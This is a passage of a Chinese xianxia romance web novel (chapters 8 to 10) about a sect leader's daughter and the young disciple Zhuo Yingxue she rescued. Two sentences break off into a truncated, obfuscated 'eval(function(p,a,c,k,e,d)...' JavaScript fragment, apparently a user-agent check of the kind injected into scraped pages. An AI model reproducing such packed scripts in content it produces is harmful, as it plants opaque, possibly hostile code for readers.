卓映雪厌恶地碾了碾鞋底,将路边新开的小紫花碾得汁液横飞,“你还是先祈祷自己七个月后还能留下来再说吧。” 这边两人的矛盾还没解决,远处又起了骚动,像是有人来了。 卓映雪并不害怕,他已经做好了领罚的准备。 可比戒律长老先赶到的却是画时眠。 “你们好你们好,不用紧张,和平时一样修炼就好,我不是来查你们功课的......哦当然我也查不了哈哈——那边吵吵嚷嚷的在做什么呢?” 她已经把院子里所有能看到的石头都打了水漂,手法一如既往地登峰造极,又去后山把昨日剩下的草莓都摸了一遍看熟了没,甚至主动去背了各种五花八门的灵药配方,直到实在无事可做,开始对着裂了一条缝的落地花瓶自言自语。 “剑灵峰这么高,卓映雪爬上去会不会很累?” “那些外门弟子要是看他是新来的抱团欺负他怎么办?” “他会不会其实根本不想修行,只是因为我希望,才勉强自己去的?” 她无意识地扣扣这里扣扣那里,终于把花瓶扣出了一个缺口。 泥土从缺口里滚出来,掉在鞋尖雪白的绒球上,留下一道漆黑的印子,难看极了。 横竖是闲着没事做,不如下山去看看他们平日里都是如何修炼的。 云台虚白不比袭无宗家大业大,还分了剑、器、兽、医、符、法、音七种不同的修炼方向,云台虚白只有剑修弟子,教一套祖传的修炼剑法。 据说这剑法是画时眠师祖的师祖自创的,共六百招,独特诡谲,以巧取胜,颇有意思。 画时眠也会一点,虽不精但也很是手熟,属于是外行看热闹内行看笑话的程度。 外门弟子在宗门大会结束之前修炼方向是不作细分的,是七种方向都要学习,统一安排在场地最大,弟子也最多的剑灵峰,画时眠其实还挺好奇,等通过了考核之后,卓映雪会选择哪种方向修炼。 应该是剑修吧。 莫说是袭无宗了,就算是全修真界,修炼人数最多的也是剑修,就连话本子里的男主角们都是剑修,帅气得很,谈笑间便十步杀一人。 只是她刚踏入剑灵峰的地界,便看见一群外门弟子聚在一起,中间似乎有人在打架。 等等——打架?! 画时眠心头狠狠一跳,不能这么倒霉吧...... 陶奚好不容易站了起来,还在穷追不舍:“卓映雪,你站住!” 听见这名字,画时眠忍不住扶额。 果真有这么倒霉,真是卓映雪出了事。 这一刻她把最坏的结果都预想出来了,连忙拨开人群挤进去,学着平日里代掌门的模样,大喝一声:“都干什么呢!整个袭无宗就你们剑灵峰最吵,你不练别人还要练呢!” 只是放在代掌门身上威风凛凛的气派放在她身上,活像狐假虎威里的那只狐狸。 毛茸茸的小狐狸。 许是她的大嗓门儿起了作用,许是她腰间象征高贵身份的令牌起了作用,许是她个子太矮周围人没看清是谁还以为是哪个戒律长老赶了过来,总之,四周顿时鸦雀无声,给她让开了一条道。 卓映雪足尖一顿,旋即转过身来,执剑行礼:“小姐。” 陶奚慢他一步,却也很快做出反应:“小姐,是卓映雪污蔑我在先!” 画时眠在两人脸上来回看了几眼,没继续追问下去,而是点了包围圈最内层的一名弟子:“陈正师兄,你来说说,刚才究竟是怎么一回事。” 被点名的男修立刻竹筒倒豆子一样将方才的经过口述了一遍,言语间也带有对卓映雪胡搅蛮缠的忿忿不平。 大部分弟子也都是这么想的,的确没有人听到陶奚哪里诋毁画时眠了,他真的只说了一句觉得她很可爱。 只有画时眠面上的表情精彩极了。 这简直是一场大乌龙! 如果时间能回到昨天,她一定会握住卓映雪的手,真情实感地告诉他:你编的辫子很丑。 “卓映雪,”画时眠横插在两人之间,面朝着卓映雪:“宗门明令禁止弟子间不许私下斗殴,无论如何,你率先出手伤人都是你不对,你认吗?” 她语气放的很慢,边说边对他挤眼睛。 小姐眼睛红红的,不知道是不是进了什么东西。 卓映雪有点担心她,只想快些结束这场闹剧,问问她眼睛怎么了,再加之他本来也做好了领罚的准备,便利落地点头:“弟子认罪。” 画时眠又转向陶奚,这回语速加快了许多:“陶奚师兄,此事本将偃旗息鼓,是你穷追不舍挑起事端,且出言不逊,有伤和睦,你认吗?” 陶奚瘪瘪嘴:“弟子认罪。” 卓映雪对着他打出那块石子后本来要走了,的确是他又追了上去挑衅。 ......还没成功。 没想到陈正连这个小细节都没放过,这下是里子面子全丢完了。 “那好,”画时眠又转向卓映雪,宣判道:“卓映雪性情燥烈,伤及同门,罚后山伤心崖静坐三日,抄写《门规》十遍,以平心气。” “陶奚言语不慎,引发争端,罚清扫斗剑场三日,抄写清心咒十遍,以戒口舌。” 画时眠双手抱胸,挑眉望向两人:“这个处置结果如何?” 卓映雪面色依旧平和:“弟子领罪。” 小姐的眼睛不红了,想来是舒适些了。 陶奚更是欢天喜地:“弟子领罪。” 好在是画时眠比戒律长老来得快,处理了这档子破事,打扫卫生和抄抄书算什么,花点灵石自有人愿意替他干,若是换成戒律长老, 恐怕两人都免不了一顿皮肉之苦。 而且清心咒才多长,比起门规可少太多了,如此算来,还是卓映雪比他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小姐,”卓映雪的声音变得很轻,笑意也淡了几分,“我可以容忍别人对我的冒犯,但是陶奚说你长得可爱,这个不行。” “你昨日才告诉我,可爱就是丑的意思,陶奚当着我的面说你丑,不可以,我忍不了。” 他用一种极度认真的语气说着这样可笑的内容,让画时眠忍俊不禁。 她也真的笑出来了,而且是仰天大笑,笑得身子一歪,躺在卓映雪肩膀上的那种。 “卓映雪,你好可爱哦!” 卓映雪不解地偏了偏头:“小姐?” 她分明说他长得很漂亮。 “是不是觉得很糊涂,嗯?”画时眠简直要笑抽过去,她抹抹眼角笑出来的眼泪,像变戏法一样变出一颗不知从哪里弄来的草莓,在他眼前晃了晃。 “你看,这颗草莓,在我手里,我喂给你,这叫心意,”她揪掉草莓梗放在草地上,“但同样的草莓,如果掉在地上,被不认识的人捡起来,它就叫食物,虽然词是一样的,但谁说的,对谁说,在什么情况下说,意思完全不同。” “我夸你编的辫子可爱,是安慰你,是喜欢你努力的心意,不想这份心意受到打击;但外人说可爱,只是在夸一个女孩子看起来很讨人喜欢,是普通的夸奖,所以并不是在诋毁我啦。” 卓映雪接过她手里的草莓,应该还没熟透,靠近梗叶的部位还留有未褪去的青色,但莓果的清香已然弥散。 “对不起小姐,我误解了陶奚的意思,是不是给你添麻烦了,”他眼睫轻垂,好看的唇线绷紧,“我不知道......在过去的日子里,从未有人对我提及过可爱二字。” “那我就是第一个夸你可爱的人,”画时眠把草莓填进他口中,看着他因酸涩而不自觉皱起的眼睑,蹲下来捧着脸:“卓映雪,你很可爱,我的意思是,你很讨人喜欢。” 8. 答案 放量足够的柔软裙摆堆叠在一起,浮于草地,像春日落下的一场梨花雪。 卓映雪半晌说不出话,只顾着闷头将鼻尖涌上来的涩意重新压下去。 在过去的十一年中,他听到最多的话是数不尽的污言秽语,见过最多的东西是凡人及妖兽的尸体,闻过最多的味道是腥臭的尸血味,吃过最多的东西是腐烂的残羹剩饭。 自从被李二带回来,他在斗兽场摸爬滚打了五年,新伤摞着旧伤,斩杀无数妖兽。 他一直以为只要足够努力,为李二挣到足够多的钱,他总有一天会走出去。 这个念头直到他被那只发了狂的赤狐压在身下撕扯时,方才幻灭。 他的最后一抹余光,看到的是李二面上懊悔嫌恶的狰狞表情。 懊悔的是自己被阴了一把,嫌恶的是他血肉横飞的狼狈模样。 原来到头来,他那些可笑的坚持,却是为自己高高堆起的一座坟茔。 可就在他以为他的一辈子就要葬在这个暗无天日的地方时,一双手撕破层层黑暗,让金橘色的阳光普渡而入。 叮当作响的珠翠声第一次盖过刀剑相撞的声音,澄澈晶莹的眼泪冲散粘腻腥臭的血洼,他听到女孩儿用哽咽的声音说,卓映雪,我是来救你的。 他想,他的前身还是死在了那个斗兽场里,却在遇到女孩儿的刹那,获得了新生。 他怎么不说话。 画时眠一直蹲到腿麻,也没等到卓映雪说一个字。 但是他看起来状态很不好,像是要哭了。 难道还是打击到他的自信心了? 画时眠苦思冥想一阵,只好解开发带,两条毛茸茸的编发微微卷曲着散开,在阳光下泛着光泽。 她背过身去,龇牙咧嘴地揉揉已经没了知觉的腿,盘腿坐在地上,尝试着开口:“那,你再来帮我编一次头发吧,就要很可爱的那种。” 她在可爱两个字上加重了读音,竖起一根手指放在头顶。 因为说瞎话是要遭雷劈的。 头皮被扯住的熟悉感终于传来,画时眠听到身后人用十分郑重的声音说道:“小姐,你放心,你的心愿,一定会成真的。” 卓映雪将一腔心意编进三股辫里,她希望他好好修炼,与过去彻底作别,博个大好前程,他就一定会夺得翘楚。 哎,最好是吧。 画时眠戳了戳刺猬柔软的小肚子,心道卓映雪什么时候能快点长出心窍,她的心愿就成真了。 — “好苦啊——扶婴真人,你看,我的果果都被苦死啦!” 画时眠皱着脸,费了老鼻子劲才将口中的丹药吞进去,快速捏了块糕点送入口中冲冲味道,指着桌上偷吃药渣后四脚朝天的小刺猬对扶婴抗议。 “这是宗主特意叮嘱我别忘给你服下的洗髓丹,宗主昨日才研究出来的,你最好别吐。” 小女孩儿的心思就是难猜,明明前两年才说再也不要养宠物的,这下可好,新收的小刺猬连衣服都穿好了。 扶婴深谙画时眠的脾气,很给面子的没有拆穿她。 画祺安虽说是剑修,在其他方向却也颇有造诣,尤其是在炼制丹药上天赋卓绝,他既放言一定要研制出能强制开天隙的灵药,便一刻不停地在药灵峰刻苦钻研。 可是这段日子画时眠隔三差五的就吃上这么一颗洗髓丹,除了体格强健了些之外,身体什么变化也没有。 “吃完啦?” 扶婴笑盈盈地起身,从纳戒中搬出一座足有小半个池塘大的炼丹炉,立在房间中央,侧身靠在炉身上,“来吧小姐,我来检查检查上节课给你留的作业你都会了没有。” 所幸画时眠虽然学习天赋不怎么样,但对于死记硬背这一块还是蛮有说法的。 在扶婴的监督下,这一锅丹药足足从天亮炼至天黑,终于炼出来了一锅香喷喷的—— 药渣。 但这不是她的问题,在没有灵力辅助的前提下,能炼出药渣而不是锅巴已经很厉害了。 扶婴像炒瓜子一样在药渣中细细探查一番,给予了肯定:“总的来说还算可以,这些药渣也不是不能服用,用温水冲开后喝下也有清热解毒之效,只不过疗效会打些折扣就是了。” “嘿嘿,”画时眠抱着已经清醒过来的小刺猬凑近扶婴,眼睛咕噜一转,状似不经意问道:“扶婴真人,我有个问题想请教你。” 一向不学无术的小姐居然会主动问问题。 扶婴大喜过望,心道小姐终于开智了。 一定要把这个好消息告诉宗主。 “小姐请说。” 画时眠有些紧张地吞了吞口水,手上不自觉地捏住刺猬的爪子,揉了揉:“就、假如说,当然只是假如,有一个人——姑且称他为人吧,这个人出生就没有心脏,那么有没有什么方法,能让这个人长出心脏来啊?” 她说完立刻心虚地低头,和果果大眼瞪小眼。 这么问应该不会出错吧...... 卓映雪虽不是人,但他长了一副人的模样啊。 扶婴真人在医修上的天隙足有太初二阶,算是全修真界的医修第一人,兴许她能给自己带来一些有用的答案也说不定。 女孩儿的手指戳来戳去,终于戳得果果吱吱抗议。 原来如此。 扶婴见眼前一人一宠的有爱互动,诧异片刻,露出一个了然的笑。 她手下就有一对由丹顶鹤化形而来的师兄妹,虽是灵兽化形,但天赋不错,性格乖巧也肯下功夫,被她一眼相中收入门下当了内阁弟子。 按照灵兽的年纪换算一下,这只母刺猬化形之后正巧与小姐年龄相当,估计小姐身边的玩伴太少了,难免寂寞,才萌生了让刺猬化形成人的想法吧。 但灵兽化人的前提并非长出心窍,而是修出内丹,不过虽然叫法不同,但作用是一样的,小姐不懂这些,叫错了也能理解。 扶婴觉得小姐也蛮可怜的,她的同龄人要么开天隙修道,要么入学堂念书,只有小姐,碍于宗主独女这层身份在,如何安置都避免不了遭人口舌。 念及此处,扶婴的心放软了些,她慈爱地摸了摸画时眠头顶的发髻,温声道:“小姐可曾听闻一句话——爱会使人长出血肉。” 她从画时眠手里捞起果果,帮它理了理小衣服:“凭空养出心窍啊,光是听起来就是一件很难完成的事情,除非你肯付出十足的关爱与耐心,它才会感受到你的心意,从而结出你想要的心窍。” 这只刺猬吸收足了后山的灵气,是开了灵智的,若是机缘巧合,倒真有机会化为人形也说不定。 在这之前,让小姐有一件能消磨时间的事情可做也是挺好的。 画时眠看见扶婴 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手中陡然一沉,画时眠一个猝不及防弓下腰去,木剑脱手而出,摔在地上。 怎么这么沉! 明明卓映雪拿在手上的模样还不是这样的。 “小姐,那个很重,还是我来吧。”卓映雪吓了一跳,又用那副轻轻松松的姿态拾起来,别进腰间,看得画时眠一阵咂舌。 少年好腰力。 晚春的风都是温和的,画时眠点了一只灯笼挂在池塘边,拉着卓映雪坐在石凳上,有一搭没一搭地聊着天。 “今日是兽灵峰的奈奈师兄和落落师姐给我们讲课,教了许多御兽的法诀和符箓。”卓映雪把果果放在果盘里,并起中食二指,在空中划出一道蓝色的灵光。 果果震惊地立起上半身,黑豆一样的眼睛眨也不眨地盯着卓映雪。 像是在说这个人终于通刺猬性了。 “这样就能和果果沟通了。” 卓映雪侧开点身子,让满目好奇的画时眠凑过来。 “真的吗!”画时眠抓住他的袖子晃啊晃,“果果说了什么?” 卓映雪翻译道:“它说它不喜欢橙色的衣服。” 画时眠不甘心:“它好没品。” “小姐,不如我教你这些口诀吧,这样平时我不在的时候,你也可以和果果聊天解闷了。” 画时眠没告诉他自己不能使用灵力所以这些晦涩的口诀在她眼中就像天书一样,她重重地应了一声,一字一句地叽里呱啦说了一堆狗屁不通的东西。 惹得卓映雪一阵想笑,又忍住了。 他不能打击小姐的积极性。 “算啦,我不干啦!”画时眠鼓起两颊,一把抓住果果,呼噜它身上的软刺,“还是你来和它聊天吧,我生气了!” 哪里是真的生气了,明明唇边的笑意愈发遮掩不住。 长串长串的紫藤垂泻而下,轻触少年的耳畔,染成了淡淡的雾霭色。 画时眠捏住几片花瓣,挂了小刺猬一身当做裙子:“那,果果现在在说什么?” “果果说,它喜欢紫藤花。” 画时眠发出了爽朗的笑声:“还有呢?” “它说,它很喜欢你。” 9. 童养夫 这天晚上,时隔三个月,画时眠又做了噩梦。 不同于往日云台虚白的血腥场面,这一回她梦见堕魔的卓映雪拖着一把沾满鲜血的剑,往她身后一抛。 他问:“就是你要剖我的心?” 画时眠下意识地想摇头,可是梦中身不由己,她只能僵在原地,活生生地被掐死了。 画时眠吓出一身冷汗,惊坐而起,捂着自己完好无损的脖子直念阿弥陀佛。 怎么这样! 梦里浑身浴血的卓映雪十分可怖,手劲大得离奇,根本不容她挣扎。 她胸口微微起伏,片刻后才缓过神来,被子一角被她揉捏得发烫,窗外月光昏黄,星点稀疏,蚊虫的叫声较夜晚低了许多,似乎正值黎明前夕天最黑的那段时辰。 窗子未合,留了个小缝,簌簌的风从缝隙里争先恐后地涌进来,床帐被吹得微微起伏,昏暗中扫过画时眠的脸,痒意使她骤然起了一身鸡皮疙瘩。 这怎么睡得着啊。 光自己吓自己都要被吓死了! 画时眠往床里面靠了靠,拢紧被子,恨不能把自己缩成一个球,半晌,小心翼翼地开口:“......卓映雪?” 她知道卓映雪一直睡在她窗户下面。 地面又凉又硬,睡起来难受极了,可他执意如此,问他原因他也不说,画时眠也就干脆随他去了。 这个时辰正是进入深度睡眠的时候,不知道她这样小声地叫他能不能听见。 可出乎意料的,卓映雪的反应比她想象中还要快。 几乎是她话音落下的同时,窗户被人轻车熟路地破开,一个身影随即轻巧地翻了进来,站在她拉紧的帘幔前。 “小姐?” 要不是卓映雪声音里带着几分喑哑与茫然,画时眠都要怀疑他其实一宿没睡就等她叫他了。 她慢慢舒展开身体:“卓映雪,你走近一点。” 空气里噼啪一声,荧荧火光亮起,是卓映雪捏了一朵指尖烛花,暖色的火焰照出他的轮廓,柔软的布料摩擦,发出窸窣的声响。 在寂静的夜里并不吵闹,反而让画时眠觉得安心不少。 她拉开帘幔,少年的面孔完完全全被她收尽眼底,不同于梦里的阴森诡谲,这是她所熟悉的卓映雪。 “我没事,就是做了个噩梦,有点睡不着。吵醒你了吧?” “不要紧的,小姐。” 小姐已经很久没做噩梦了。 卓映雪蹙起眉,他居然没能第一时间发现。 因为小姐今天没哭。 他抿抿唇,将自责压下去:“小姐,梦是反的,你不要怕。” 画时眠拍拍床榻,示意他坐在自己身边,她把头靠在他肩膀上,少年灼热的体温便透过薄薄一层衣物传递给她。 她问:“卓映雪,如果以后有人要杀了你,你怎么办?” 卓映雪不假思索道:“我会先杀死他。” 肩上的脑袋生硬的僵了僵。 她又问:“卓映雪,如果以后有人想杀了我,你怎么办?” 卓映雪答得比上一问还快:“我依然会先杀死他。小姐,我会保护好你。” 肩上的脑袋又蓦地放松,两人谁也没有再开口,气氛陷入短暂的沉默。 须臾,卓映雪听到画时眠幽幽道:“你最好记住现在说过的话。” 那是自然,没有人可以绕开他伤到小姐,他会为小姐血战到底。 只是他不明白,小姐为什么突然这么问。 画时眠叹了口气:“怎么办,我还是睡不着。” 卓映雪思忖片刻,道:“小姐,我近日新学了一套剑法,不如我去外面舞给你听,剑风锵然,亦能驱邪避害,你听着就不害怕了。” 他将窗户开至最大,让一招一式都能映入耳畔。 画时眠甚至能听到剑气翁鸣声,以及震落的树叶被劈开的声音。 困意渐渐袭来,她打了个哈欠,在沉入梦乡的前一刻问道:“卓映雪,你想好宗门大会之后的修炼方向了吗?” “嗯。” “......是什么呀?” 卓映雪没回答她,因为他已经听到了女孩儿逐渐绵长的呼吸声。 他停下动作,默默地收起剑,生怕不小心将她吵醒。 离出早功还有一会功夫,他干脆也不睡了,从口袋里掏出几张符纸和毛笔,蘸着石桌上剩余的丹砂,准备今日的课程。 — 极高的本生天隙使卓映雪的修炼速度突飞猛进,他又肯吃苦,加上他前五年在斗兽场的战斗经验与超凡的毅力,莫说这一届的外门弟子,就连连妄尘的同门师兄,他竟也能勉强打个平手。 “不错,有两下子。” 季巧笑了两声,将自己的本命法器收回腰间,对地上的卓映雪伸出手臂。 卓映雪喘了口气,搭着他的手站起来:“是季师兄有心放水。” 两人同为两仪境四阶,难得打得有来有回,终究还是季巧在剑道上更胜一筹,却只点到为止。 季巧将手中的茶一饮而尽,痛快地抹抹嘴:“木剑终究不是你的本命法器,等今年的宗门大会结束之后,你便有锻造本命法器的机会了,用起来会更顺手,我们到时候再打。” 似乎所有人都默认他会在宗门大会之后选择剑修。 卓映雪没有反驳,只是淡淡地笑笑。 颈间的白绫在长风的吹拂下发出空旷的响声,像山涧竖悬的白练。 卓映雪重新调整了下白绫的位置,学着画时眠的手法,系了个蝴蝶结。 “卓师弟,”季巧坐下来,竹椅嘎吱嘎吱的响,他也不在意,只对着卓映雪的白绫抬抬下巴:“这是重曦锻造的吧?” 卓映雪抬头:“重曦?” 季巧解释道:“器灵峰的一个师妹,你应该叫师姐,你的白绫上面有她身上残余的灵力,我感受的到——是的,我在追她。” 谁问了。 卓映雪哦了一声,他对别人的感情一点也不感兴趣:“祝你早日追到她。” 等太阳不这么大了,他还要回去帮小姐收桃子。 小姐昨日说想吃桃子沙冰。 季巧丝毫没有想放他走的意思,他足尖勾过另一把竹椅,与自己并排,正好躲在屋檐下,避免日头:“卓师弟,你和我们小姐似乎关系不错的样子。” 当时卓映雪鉴灵初那几天他正好外出历练,主要是收集重曦想要的矿石,便错过了所谓灵初石冲天的奇观,还是回来之后听其他同门说的。 小姐一气之下离家出走,被拐卖到黑市后被这小子救了下来,为了报恩,小姐便把他带了回来。 这故事在同门间都传开了,他还是第一次见到本尊。 的确是个修道的好苗子。 提到画时眠,卓映雪也不急着走了,他坐下来:“季师兄也知道?” 季巧啧啧两声:“这护腕,还有白绫,一看便出自软猬甲,这样的刀枪不入百毒不侵的好宝贝,咱们宗门只有小姐有一件。” 虽说是好宝贝,也仅仅是对于凡人而言,需要这样贴身保护,修士大多有自保的能力,无需借助外物。 原来这软猬甲如此珍贵。 卓映雪低头凝视着护腕,眼尾微微下垂,勾勒出几分可怜的弧度。 他轻轻地说:“嗯,小姐待我极好。” 季巧笑了笑,身子微微后仰,倚在靠背上,竹椅顿时发出了不堪重负的嘎吱声。 “那你可太幸运了,不是所有人都能得小姐庇护的,小姐的喜好向来难以捉摸,你呀,好好讨小姐欢心吧。” 卓映雪也靠在椅背上,目光盯着起了小刺的竹椅底部,忽而问道:“季师兄,你和小姐很熟么?” “很熟倒也谈不上,不过平日得闲时能见上几面而已,我与小姐相差一旬半呢,与她也聊不到一处去,不过小姐倒是很招师妹们喜欢,她长得玉雪可爱,嘴又甜,对待身边人出手也大方,除了脾气不大好,也没什么缺点。” 小女孩儿嘛,娇气些也是正常的。 “脾气不大好?”卓映雪重复着他的话,眉尾上挑。 他有点不同意季巧的说法,小姐大概是他见过脾气最好的人了。 就算他闯祸了她也不生气,只会边笑边给他讲道理。 那日草莓的酸涩味道似乎再次涌上鼻腔,卓映雪忍不住悄悄弯了弯唇角。 “是啊,”季巧没注意他表情的变化,依然自顾自说道:“被师尊从小娇生惯养着长大的嘛,难免刁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可她只是一介凡人,便只有七八十年的寿命。 如此,让连妄尘再去和她结合,便怎么想都不合适了。 因此小姐九岁生辰之后,宗主便再没提及过此事,更遑论他们这些弟子,一个个都恨不得把嘴缝起来。 “好了,”季巧对他竖起一根食指,贴在唇边:“这件事别告诉小姐,记得为我保密。我先走了,回见。” “回见。” 画时眠对着已经空无一人的庭院门口摇摇手,累得一屁股瘫在地上。 还是兽灵峰的师姐帅气啊,骑着鸟拍拍翅膀就走了。 许是气温骤升的原因,今天的果果总是恹恹的,一贯爱吃的苹果连碰都不碰,还上吐下泻的,吓得她赶紧找了药灵峰的师姐来看,被告知兽医分支归在兽灵峰,她只好又马不停蹄地找了兽灵峰的师姐,废了好大一通功夫才让果果重新恢复活力。 “好样的果果,就这样大口吃!真棒!” 画时眠洗了把手,把苹果切成数个小块,让果果抱着啃。 能吃是福! “你回来啦,你吃不吃苹果,这里还有一点,不过是果果吃剩的。” 熟悉的月白色身影出现在小径中,两边的野草已经长至大腿,画时眠一手举着苹果,一手提着裙摆,历尽千辛万险终于走到卓映雪身边。 奇怪,他看起来脸色不太对的样子。 可是画时眠又说不出哪里不对。 有点像玩具被抢了的小朋友。 可是谁敢抢他的玩具啊。 “嗯,谢谢小姐。” 卓映雪接过她手中的苹果,露出和往常无异的笑容:“小姐,等我吃完苹果去帮你收桃子,你昨日不是说想吃桃子沙冰吗,我学了凝水成冰的符箓,待会儿做给你吃。” “那太好啦!”画时眠笑嘻嘻地转了两圈,像是突然想起什么一样一拍脑袋,“哦对了,我今日收到妄尘师兄的传信了。” 妄尘师兄。 卓映雪敛起笑容。 “他说他下个月就要回来了,你们不是下下个月初举行宗门大比吗,刚好赶得上,这一届还是由他来主持。” 10. 心烦意乱 趁着夕阳还未沉,西面的天空仍留有绯红的流光,像是一把火烧了半边天。 “卓映雪,你紧张吗?” 画时眠三两下上了树,坐在横出来的桃树枝上,扒开团成一簇的桃叶,透过桃叶的间隙低头看他,她把双臂架在桃枝上,桃枝随着她力道的加重而晃晃悠悠,她的小腿也晃晃悠悠。 怀中的竹篮蓦地一沉,是小姐往里面丢了个桃子。 卓映雪像是才回过神来,往上托了托竹篮,说道:“还好,小姐。” 他末了又补充一句:“不紧张。” 画时眠略一使劲,摘下一颗呈阳面的大桃子,紧挨在一起的几棵桃树连带着轻微晃动,她用袖子擦擦红得发紫的桃子表皮,一口咬下去,汁水四溢。 “我听师姐们说,当年妄尘师兄宗门大比时,因为在同一届的外门弟子中打败天下无敌手,所以申请了越级挑战,爹爹和诸位峰主们商议过后破例允许了,他便挑选了当时宗门大比的主持人季巧师兄,大战三百回合,最终以一剑挑翻季巧师兄夺得魁首。” 这还是上次她去找重曦师姐为软猬甲塑形的时候听来的笑料,好在季巧师兄是个大方的,也不羞于提及此事,相反,在妄尘师兄被爹爹收为亲传弟子时他还替他自豪。 长江后浪推前浪,世间新秀胜旧章。他是这么说的。 等再过几年,季巧借历练之名四处替重曦寻找她想要的千奇百怪的矿石秘宝,便不再主持宗门大比了,全部由连妄尘接手,直至今日。 她迎着夕阳,因而说话时面颊染上大片的红,眼睛亮晶晶的。 卓映雪用膝盖顶着竹篮,好让自己腾出一只手,从怀里取出一条叠得四四方方的干净手帕,递到画时眠手上:“越级挑战?” 原来还可以这样。 “嗯,”画时眠把啃完的桃子往后一扔,又挑了几个又大又红的扔进下面的竹篮里,“不过在妄尘师兄之后,便没有人再这样做过了。” 因为后来新收的外门弟子一届更比一届差。 还越级挑战呢,不拐回去欺负三四岁的小毛头就不错了。 “小姐,”卓映雪仰头看着她:“你觉得如果我和连师兄有幸切磋,谁能取胜?” 画时眠趴在桃枝上,装模作样地思索了片刻:“这个问题的答案显而易见的程度不亚于我问你蚂蚁和大象掰手腕谁会赢一样。” 卓映雪不死心,继续追问:“倘若我赢了呢?” 画时眠忍了又忍,最终没忍住,发出一声惊天爆笑,笑得桃枝乱颤:“卓映雪,你别逗我笑了好吗!我要从树上掉下去了!” 她从树上一跃而下,稳稳落地,掀起一阵尘土:“你知道吗?不管是剑灵峰内的比试还是全宗门的比试,妄尘师兄至今无败绩,魁首拿到手软,我——莫说我了,甚至是你还没出生的时候妄尘师兄就在练剑了,你准备拿什么和他比,一腔孤勇?” 她用手指点点卓映雪的肩膀,摇了摇头,示意他不要再说这种不切实际的话。 若是别人听见了多让人笑话。 卓映雪果真没有再提,他沉默下来,默默跟在画时眠身后前往第二棵桃树。 他心中莫名有些不爽,当然不是针对画时眠,也不是针对她的话——毕竟换谁来也不会相信他在剑招上能胜过连妄尘。 他是对画时眠无条件吹捧连妄尘这件事感到不爽。 他甚至暗搓搓地想连妄尘是不是给小姐下了什么迷药,让小姐能如此死心塌地地如此崇拜他。 无非是修为高了些,身手好些罢了,他也未尝做不到。 下午季巧说过的那些话不知为何又在耳畔徐徐萦绕,像蚊子一样,惹得卓映雪心烦意乱。 他却搞不清这股烦躁的源头。 前方画时眠后脑左侧的发环随着她的动作上下摇晃,像蝴蝶扇动的翅膀,吸引着卓映雪的视线,他就这么盯着,心里的无名火莫名被熄灭了些许。 他握紧篮子的提手,纠缠扭曲的竹条嵌进掌心中,徒留一抹泛红。 总算在天黑之前摘满了一篮桃子,剩下的几棵明日再说吧。 她崭新的灯笼裤上蹭的全是泥,还有不少地方都抽丝了,画时眠心疼地摸摸勾丝的地方,换上一条新裤子。 今日又是忙着果果的事情又是忙桃子的事情,前前后后跑了不少地方,忙起来的时候还不觉得,这会儿闲下来了才发觉小腿酸痛得要命。 也只有这个时候她才会有点羡慕开天隙的修士们,时不时就在天上飞来飞去,御剑的御剑,御兽的御兽。 再不济还有个缩地成寸符,多方便出行啊。 画时眠揉了揉小腿,找出自己随身携带的小荷包,里面倒是装着各式各样的符箓,不乏有一沓一沓的缩地成寸符,可她用不了,这是需要灵力催动的符箓。 这些符箓在她手中还没有白纸来的用处大。 白纸还能擦脸呢,符箓擦脸只会蹭一脸朱砂,像鬼一样。 — 外门弟子也并不是成天一天到晚只知道上课和修炼的,袭无宗会给外门弟子每月三天的月假,月假里弟子去哪儿、做什么都不受限制,只要写个请假条交给戒律长老即可。 卓映雪从未休过月假,因为他每日的生活就是伤心崖和剑灵峰两点一线,无处可去。 “真是少见,卓映雪,这还是你插班以来第一次休假。” 临近乞巧节,出入戒律堂的人数明显增多,大部分都是来请假出去玩的,戒律长老惊奇地多看了卓映雪两眼,在请假条上留下一抹灵力残留。 卓映雪笑了笑,没做回答。 戒律长老也没多问,挥挥手让他走了,后面还排着一长队人呢。 因为小姐要出去玩。 其实是画时眠想让卓映雪出去放松放松。 她实在不知道该怎样做才能给卓映雪更多的关爱,只好采用最土但最有效的方式,那就是带他四处玩,给他买东西。 反正不管是金银铜板还是灵石,都是袭无宗最不缺的东西。 正好七夕快到了,她便借着这个由头,让卓映雪请了一天假,陪她下山逛庙会。 庙会不管是对于画时眠还是对于卓映雪都是一个十分陌生的名词。 前者是因为前世一直隐居云台虚白,从未出过云台谷,而这一世又一直住在袭无宗里,唯一一次下山还是因为天隙未开而离家出走,找到卓映雪之后又被连妄尘带了回去。 后者更不必多说,他短暂的前十二年基本上一半都被凶煞之地占据,另一半被斗兽场占据。 因此两人站在熙熙攘攘的闹市街头,对视一眼,不约而同地从对方的眼睛里看到了清澈的疑惑: ——下一步要干嘛? “小姐,你不是说要买新裙子吗?”还是卓映雪率先提醒道。 “噢——没错!”画时眠打了个响指,“我是要买东西来着!” 她想牵起卓映雪的手腕,蓦地想起他手腕上配备着自己的软猬甲,贸然触碰恐怕会被伤到,于是在空中生硬地一顿,改为牵起他的手。 少年的掌心里由于长时间的练剑,已经留下了薄薄一层硬茧,她不自觉地蜷曲手指,在上面挠了挠。 和果果的刺手感差不多。 她放远视线,四处寻找着什么,终于眼前一亮,带着卓映雪进了一家香粉铺子。 各式各样的香味混合在一起,不受控制地往卓映雪鼻子里钻,他不动声色地敛息。 不及小姐身上的果香万分。 他不懂小姐为何要带他来这里,明明袭无宗中有更多比这好闻的香。 但是小姐牵着他的手。 “找到了,是这个。” 画时眠拿起几个小巧精致的盒子,里面盛着的是满满一盒乳白色的膏体,她又是看又是嗅地对比片刻,最终选定一款,付了钱。 她松开手,没注意卓映雪面上一闪而过的失落,指腹在膏体上面打转几圈,膏体便像融化了一样像四周堆积,中央显现出不明显的圆润凹陷。 画时眠取出一小块膏体,摊开卓映雪的手掌,轻轻擦在他掌心的硬茧上。 